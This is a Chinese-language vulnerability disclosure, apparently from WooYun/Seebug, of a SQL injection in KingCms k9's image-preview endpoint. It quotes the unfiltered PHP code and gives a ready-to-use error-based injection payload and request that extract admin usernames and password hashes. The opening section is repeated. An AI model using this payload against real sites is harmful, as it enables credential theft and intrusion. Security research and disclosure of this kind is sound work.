### 简要描述: KingCms最新版(k9)注入一枚 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:GET /images/index.php?jsoncallback=1&_=1&CMD=show&up_image=1003/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a&AJAX=1 注入参数:up_image 问题文件在/images/index.php ``` function _show(){ if(empty($_POST['up_image'])) kc_tip('图片ID读取错误!'); $id=$_POST['up_image']; $db=new db; $rs=$db->getRows_one('%s_up_image','path','image='.$id); if(empty($rs)) kc_tip('图片丢失!'); //读取图片长宽尺寸 $size=@getimagesize(ROOT.PATH_UP.'/'.$rs['path']); $_width=$size[0]; $_height=$size[1]; $w=$_width; $h=$_height; $size=580; if($w>$size){ $w=$size; $h=round($size*($_height/$_width)); } if($h>$size){ $h=$size;...
### 简要描述: KingCms最新版(k9)注入一枚 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:GET /images/index.php?jsoncallback=1&_=1&CMD=show&up_image=1003/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a&AJAX=1 注入参数:up_image 问题文件在/images/index.php ``` function _show(){ if(empty($_POST['up_image'])) kc_tip('图片ID读取错误!'); $id=$_POST['up_image']; $db=new db; $rs=$db->getRows_one('%s_up_image','path','image='.$id); if(empty($rs)) kc_tip('图片丢失!'); //读取图片长宽尺寸 $size=@getimagesize(ROOT.PATH_UP.'/'.$rs['path']); $_width=$size[0]; $_height=$size[1]; $w=$_width; $h=$_height; $size=580; if($w>$size){ $w=$size; $h=round($size*($_height/$_width)); } if($h>$size){ $h=$size; $w=round($size*($_width/$_height)); } $attrib=array('width'=>$w,'height'=>$h); $param=http_build_query($attrib); $s="<a href=\"".FULLURL."images/?{$id}.jpg\" target=\"_blank\"><img src=\"".FULLURL."images/?id=$id&$param&sign=".md5('id='.$id.$param.kc_config('system.salt')).".jpg\"/></a>"; kc_ajax(array( 'TITLE'=>'图像预览 W='.$_width.'px,H='.$_height.'px', 'MAIN'=>$s, 'ID'=>'k_ajax', 'WIDTH'=>$w, 'HEIGHT'=>$h )); } ``` 在获取到id后($id=$_POST['up_image'];)并没有进行任意过滤,kingcms也没有全局过滤,就执行了$db->getRows_one(),去看看$db->getRows_one ``` public function getRows_one($table,$insql='*',$where=null,$orderby=null) { $table=str_replace('%s',DB_PRE,$table); $sql="SELECT $insql FROM $table "; $sql.=empty($where) ? '' : ' WHERE '.$where; $sql.=empty($orderby) ? '' : ' ORDER BY '.$orderby; return $this->get_one($sql); } ``` 同样没有过滤,因此,这里存在注入 Kingcms可以报错,因此 Payload: ``` 1003/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a ``` 注入成功,见下图 [<img src="https://images.seebug.org/upload/201503/110055255882fbbc40eab7dead56ca03646bdb9f.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/110055255882fbbc40eab7dead56ca03646bdb9f.jpg) ### 漏洞证明: 见 详细说明